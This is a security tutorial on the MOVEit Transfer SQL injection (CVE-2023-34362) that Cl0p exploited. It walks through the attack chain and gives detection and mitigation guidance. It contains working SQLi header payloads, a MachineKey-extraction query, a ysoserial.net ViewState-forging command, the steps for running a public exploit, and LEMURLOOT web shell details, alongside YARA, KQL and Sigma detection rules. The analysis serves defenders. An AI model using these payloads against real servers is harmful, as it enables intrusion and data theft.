tutorials · 8 min read
MOVEit: the pre-auth SQLi Cl0p turned into the event of the year
CVE-2023-34362 is a pre-auth SQL injection in MOVEit Transfer that Cl0p exploits as zero-day from 27 May. The chain goes SQLi → MachineKey leak → session forge → LEMURLOOT web shell drop (human2.aspx). Result: 2,700+ organisations exposed before the year ends.
· Manuel López Pérez · tutorials

On 31 May 2023, Progress Software publishes an urgent advisory for CVE-2023-34362 in MOVEit Transfer — a managed file transfer (MFT) product widely deployed across finance, government and healthcare. Pre-auth SQL injection. CVSS 9.8. Mandiant and Microsoft confirm active exploitation before the advisory. On 2 June Microsoft attributes to Lace Tempest — the cluster the industry knows as Cl0p. On 5 June Cl0p posts it on their extortion blog and starts counting victims.
By year-end there will be 2,700+ affected organisations: BA, BBC, Shell, US Department of Energy, Aon, EY, PwC, several state DMVs. The cyber event of the year, no contest.
Cl0p had run the dress rehearsal in February with GoAnywhere (CVE-2023-0669). The pattern is identical: pre-auth zero-day in an MFT → mass exfil → no encryption → extortion by publication. MOVEit scales it two orders of magnitude because MOVEit sits in data sharing infrastructures between providers, banking and government.
Lab: technical analysis of the bug with vulnerable code, reproducible payload on MOVEit 2023.0.0 and capture of the LEMURLOOT web shell in an isolated environment.
The bug — header SQLi in the ISAPI handler
MOVEit Transfer exposes the ISAPI handler /moveitisapi/moveitisapi.dll that processes internal API requests. The handler reads the HTTP header X-siLock-Transaction and routes the request to a stored function in MOVEit.DMZ.WebApi.dll. For X-siLock-Transaction: folder_add_by_path, the code calls SILGuestAccess.GuestAccess.GuestAccessHelper.AddFolder which ends up calling:
// Reconstructed from Horizon3's analysis of MOVEit.DMZ.WebApi.dll
public static DataTable GetFolderByPath(string folderPath, ...)
{
string sql = "SELECT folderID, folderName FROM folders "
+ "WHERE InstID = " + instID
+ " AND folderPath = '" + folderPath + "'"; // ← BUG
return DBHelper.ExecuteDataTable(sql);
}The function concatenates folderPath directly into the query. The header X-siLock-FolderPath (or the multipart field arg77, depending on the variant) lands without parameterisation. Classic SQL injection on the pre-auth side — the endpoint doesn’t require prior authentication because the code assumes the ISAPI gate has already filtered.
The 31 May patch parameterises folderPath with SqlCommand.Parameters.AddWithValue. The two follow-up patches (35036, 35708) close the same bug class on three other endpoints.
The Cl0p chain — from SQLi to web shell
The SQLi alone doesn’t write files. The Cl0p chain combines five steps published by Horizon3 and refined by Rapid7:
1. SQLi to enumerate the database
POST /moveitisapi/moveitisapi.dll HTTP/1.1
Host: moveit.target.test
X-siLock-Transaction: folder_add_by_path
X-siLock-FolderPath: '/test'; SELECT name FROM sys.tables--
Content-Type: application/x-www-form-urlencoded
Content-Length: 0The response dumps MSSQL/MySQL DB metadata — tables users, activesessions, installation, machinekeys, etc.
2. Extract the ASP.NET MachineKey
MOVEit stores the ASP.NET validationKey and decryptionKey in the database so cluster nodes share cookie/ViewState signing. The SQLi extracts them:
UNION SELECT validationKey, decryptionKey FROM machinekey--3. Forge an authenticated ViewState
With the MachineKey, the attacker uses ysoserial.net to generate a ViewState payload signed as administrator:
ysoserial.exe -p ViewState -g TextFormattingRunProperties \
-c "echo PoC" \
--validationalg="HMACSHA256" --validationkey="<leaked>" \
--decryptionalg="AES" --decryptionkey="<leaked>" \
--apppath="/MOVEitTransfer/" --path="/human.aspx"4. Send the ViewState against human.aspx → execution as SYSTEM
ASP.NET deserialises the ViewState trusting the signature. The gadget runs the command — the attacker gets arbitrary execution as the IIS app pool, normally LocalSystem on MOVEit on-prem.
5. Drop human2.aspx (LEMURLOOT)
The last step writes the web shell to wwwroot\human2.aspx. From there Cl0p no longer needs the SQLi: the shell offers a full API to the MOVEit system with preshared-header auth (X-siLock-Comment).
LEMURLOOT — the web shell
human2.aspx is the C# that Mandiant names LEMURLOOT. It imports MOVEit’s internal assemblies:
using MOVEit.DMZ.ClassLib;
using MOVEit.DMZ.Application.Files;
using MOVEit.DMZ.Application.Users;
using MOVEit.DMZ.RuntimeFolderObject;With that, the shell has programmatic access to the MOVEit API without going through the frontend. Functionality observed in public samples:
- List and download files transferred by users (
SILFile.DownloadByContentID). - Enumerate users, groups, organisations (
SILUser.GetByOrg). - Create new admin users with full permissions.
- Return metadata (dates, sizes, hashes) to prepare the send to the extortion portal.
LEMURLOOT requires a preshared HTTP header before responding, which prevents mass scanning from finding the web shell. Header observed in samples:
GET /human2.aspx HTTP/1.1
X-siLock-Comment: <preshared 36-byte key derived per sample>
X-siLock-Step1: <command: 0|1|2|3 per function>Effective detection means looking for the file in wwwroot\ and reviewing the MOVEit audit log for user creations that don’t match legitimate provisioning.
Public PoCs and a typical command line
Two widely referenced PoCs:
horizon3ai/CVE-2023-34362— full chain (SQLi → MachineKey → ViewState → shell drop).sfewer-r7/CVE-2023-34362— Rapid7 variant with a self-contained Python script.
Typical Horizon3 PoC command line on a closed lab with MOVEit Transfer 2023.0.0:
$ git clone https://github.com/horizon3ai/CVE-2023-34362
$ cd CVE-2023-34362 && pip install -r requirements.txt
$ python3 exploit.py -t https://moveit.lab.test:443 --check
[*] Performing pre-flight checks against https://moveit.lab.test:443
[+] /moveitisapi/moveitisapi.dll reachable
[+] /human.aspx reachable
[+] Target appears vulnerable to CVE-2023-34362
$ python3 exploit.py -t https://moveit.lab.test:443 --exploit
[*] Stage 1: SQLi → leak validationKey/decryptionKey
[+] validationKey = A1B2C3...(64 hex)
[+] decryptionKey = D4E5F6...(48 hex)
[*] Stage 2: Forge ViewState via ysoserial.net
[+] Generated 2048-byte ViewState payload
[*] Stage 3: POST forged ViewState to /human.aspx
[+] Code execution confirmed (whoami → nt authority\system)
[*] Stage 4: Drop webshell to wwwroot\human2.aspx
[+] Webshell deployed — auth header: X-siLock-Comment: <hex36>Detection — IoCs, YARA, KQL
CISA and FBI publish on 7 June 2023 the Joint Cybersecurity Advisory AA23-158A with full IoCs. Mandiant also publishes 26 SHA-256 + 26 MD5 of LEMURLOOT samples.
File-based IoCs (web shell)
Location: C:\MOVEitTransfer\wwwroot\ (default path).
| Filename | Notes |
|---|---|
human.aspx | Overwrite of MOVEit’s legitimate file |
human2.aspx | Initial dropped variant — the most common in writeups |
_human.aspx | Renamed variant to dodge simple detections |
guestaccess.aspx | Variant used in other incidents |
health.aspx | Overwrite observed in some victims (Mandiant) |
SHA-256 published by Mandiant (selection — full list of 26 on the blog):
b9a0baf82feb08e42fa6ca53e9ec379e79fbe8362a7dac6150eb39c2d33d94ad
c56bcb513248885673645ff1df44d3661a75cfacdce485535da898aa9ba320d4
2413b5d0750c23b07999ec33a5b4930be224b661aaf290a0118db803f31acbc5
0ea05169d111415903a1098110c34cdbbd390c23016cd4e179dd9ef507104495
9d1723777de67bc7e11678db800d2a32de3bcd6c40a629cd165e3f7bbace8ead
387cee566aedbafa8c114ed1c6b98d8b9b65e9f178cf2f6ae2f5ac441082747a
3a977446ed70b02864ef8cfa3135d8b134c93ef868a4cc0aa5d3c2a74545725bYARA — Mandiant rules
M_Webshell_LEMURLOOT_1 and M_Webshell_LEMURLOOT_DLL_1. Full text in Mandiant’s technical blog. Abridged pattern:
rule M_Webshell_LEMURLOOT_simple
{
meta:
author = "ironhackers — based on M_Webshell_LEMURLOOT_1"
description = "LEMURLOOT ASPX webshell (CVE-2023-34362)"
strings:
$a1 = "X-siLock-Comment"
$a2 = "X-siLock-Step1"
$a3 = "X-siLock-Step2"
$b1 = "MOVEit.DMZ.ClassLib"
$b2 = "MOVEit.DMZ.Application.Users"
$c = "FilesystemFile.WriteFile"
condition:
filesize < 50KB
and 2 of ($a*)
and any of ($b*)
}KQL — Sentinel / Defender
// 1) Creation of .aspx files in the MOVEit wwwroot
DeviceFileEvents
| where Timestamp > ago(180d)
| where FolderPath has "MOVEitTransfer\\wwwroot"
| where FileName endswith ".aspx"
| where FileName !in~ ("login.aspx","Default.aspx","Logout.aspx",
"human.aspx","guestaccess.aspx") // baseline
| project Timestamp, DeviceName, FileName, FolderPath,
InitiatingProcessFileName, SHA256
// 2) X-siLock-* headers in IIS logs
W3CIISLog
| where csUriStem in~ ("/moveitisapi/moveitisapi.dll",
"/human.aspx","/human2.aspx","/guestaccess.aspx")
| where (csUriQuery has "siLock") or (csReferrer has "siLock")
| project TimeGenerated, sIP, cIP, csMethod, csUriStem, csUriQuery,
scStatus, csUserAgent
// 3) Outbound connections from the MOVEit host to Cl0p ranges (CISA AA23-158A)
let CL0P_RANGES = dynamic([
"5.252.188.0/22","84.234.96.0/22","91.211.105.0/24",
"146.0.74.0/24","194.33.40.0/22","185.232.65.0/24"]);
DeviceNetworkEvents
| where DeviceName has "MOVEIT"
| where ipv4_is_in_any_range(RemoteIP, CL0P_RANGES)Sigma — community
title: MOVEit Transfer LEMURLOOT Webshell Activity
id: 4d6e0a02-4b92-4b67-9af5-b5e8f1d6e6b8
status: stable
references:
- https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-158a
- https://cloud.google.com/blog/topics/threat-intelligence/zero-day-moveit-data-theft
logsource:
product: iis
detection:
selection_uri:
cs-uri-stem|endswith:
- '/human2.aspx'
- '/_human.aspx'
- '/health.aspx'
selection_hdr:
cs-headers|contains:
- 'X-siLock-Comment'
- 'X-siLock-Step1'
- 'X-siLock-Step2'
selection_isapi:
cs-uri-stem|contains: '/moveitisapi/moveitisapi.dll'
cs-uri-query|contains: 'folder_add_by_path'
condition: selection_uri or selection_hdr or selection_isapi
level: criticalNetwork IoCs
CISA keeps the list updated in AA23-158A. Canonical range published by Mandiant: 5.252.188.0/22. Additional markers:
- Outbound HTTP/HTTPS from the MOVEit host to undocumented infrastructure, especially in the 27 May – first week of June 2023 window.
- Anomalous user-agents leaving the host (
python-requests/2.x, browsers not in the corporate inventory). - Creation of admin users in the MOVEit DB without a corresponding entry in the web UI audit log.
Reproduction in a closed lab
# Confirmed vulnerable versions: MOVEit Transfer 2023.0.0 and earlier
# (2022.x, 2021.x, 2020.x without their respective patches)
#
# No official image but valid for research — install a Progress trial
# on a Windows Server VM, snapshot pre-patch.
#
# Once it's up, try blind SQLi with time-based:
curl -ksk "https://moveit.lab.test/moveitisapi/moveitisapi.dll" \
-H "X-siLock-Transaction: folder_add_by_path" \
-H "X-siLock-FolderPath: /a'; WAITFOR DELAY '00:00:05'--" \
-X POST -d ""
# If the response takes ~5s, the SQLi is alive
# Continue with the Horizon3 script (link above) for the full chain.Static analysis of moveitisapi.dll and MOVEit.DMZ.WebApi.dll with dnSpyEx reveals the handler flow and the affected SQL concatenation. The 31 May patch parameterises with SqlCommand.Parameters.AddWithValue("@folderPath", folderPath).
Mitigations
Patch. Full chain of three CVEs in MOVEit Transfer:
CVE Date Fixed versions CVE-2023-34362 31 May 2023 2023.0.1, 2022.1.5, 2022.0.4, 2021.1.4, 2021.0.6, 2020.1.10, 2020.0.7 CVE-2023-35036 9 Jun 2023 2023.0.2, 2022.1.6, 2022.0.5 + backports CVE-2023-35708 15 Jun 2023 2023.0.3, 2022.1.7, 2022.0.6 + backports Don’t expose MOVEit to the internet without restrictions. A large part of the impact came from installations with the B2B web portal public without IP allowlist. Installations behind VPN or IP-restricted weren’t touched.
Hunt for the web shell. Recursive search in
wwwroot\for.aspxfiles not in the official list; compare hashes against the ones published by Mandiant.Audit transfers from 27 May – 31 May + first week of June. If Cl0p was inside, they exfiltrated before the patch. The audit doesn’t prevent damage but lets you notify affected counterparties.
Rotate credentials and secrets transferred via MOVEit during that period — API keys, certificates, configuration payloads.
Why it was so big
Three reasons:
- Cl0p had the zero-day first. Mandiant identifies exploitation from 27 May, four days before the advisory. BA, BBC and others were compromised before the patch existed.
- MOVEit sits in B2B data pipelines. A company with MOVEit uses it to move files with 50–500 other companies. Compromising one MOVEit means compromising a slice of each of those pipelines. That’s why the victim count grows exponentially.
- The patching cycle doesn’t match the urgency. Progress ships a patch on 31 May. MOVEit is on-prem in many cases and requires a maintenance window. Cl0p has several days between disclosure and patch deployment in many sites.
Cl0p combines technical capability to find and weaponise zero-days in specific enterprise software with operational discipline to monetise via published extortion. The model works: 2024 brings more actors moving towards that recipe.
References
- Progress Software, MOVEit Transfer Critical Vulnerability advisory: https://www.progress.com/security/moveit-transfer-and-moveit-cloud-vulnerability
- Mandiant, Zero-Day Vulnerability in MOVEit Transfer Exploited for Data Theft: https://cloud.google.com/blog/topics/threat-intelligence/zero-day-moveit-data-theft
- CISA + FBI joint advisory CL0P CVE-2023-34362: https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-158a
- Horizon3, technical deep-dive with the full chain: https://www.horizon3.ai/attack-research/red-team/moveit-transfer-cve-2023-34362-deep-dive/
- Rapid7 analysis: https://www.rapid7.com/blog/post/2023/06/01/rapid7-observed-exploitation-of-critical-moveit-transfer-vulnerability/
- Huntress technical deep-dive: https://www.huntress.com/blog/moveit-transfer-critical-vulnerability-rapid-response
- Public PoC (Horizon3): https://github.com/horizon3ai/CVE-2023-34362
- Public PoC (Rapid7): https://github.com/sfewer-r7/CVE-2023-34362
- NVD: https://nvd.nist.gov/vuln/detail/CVE-2023-34362


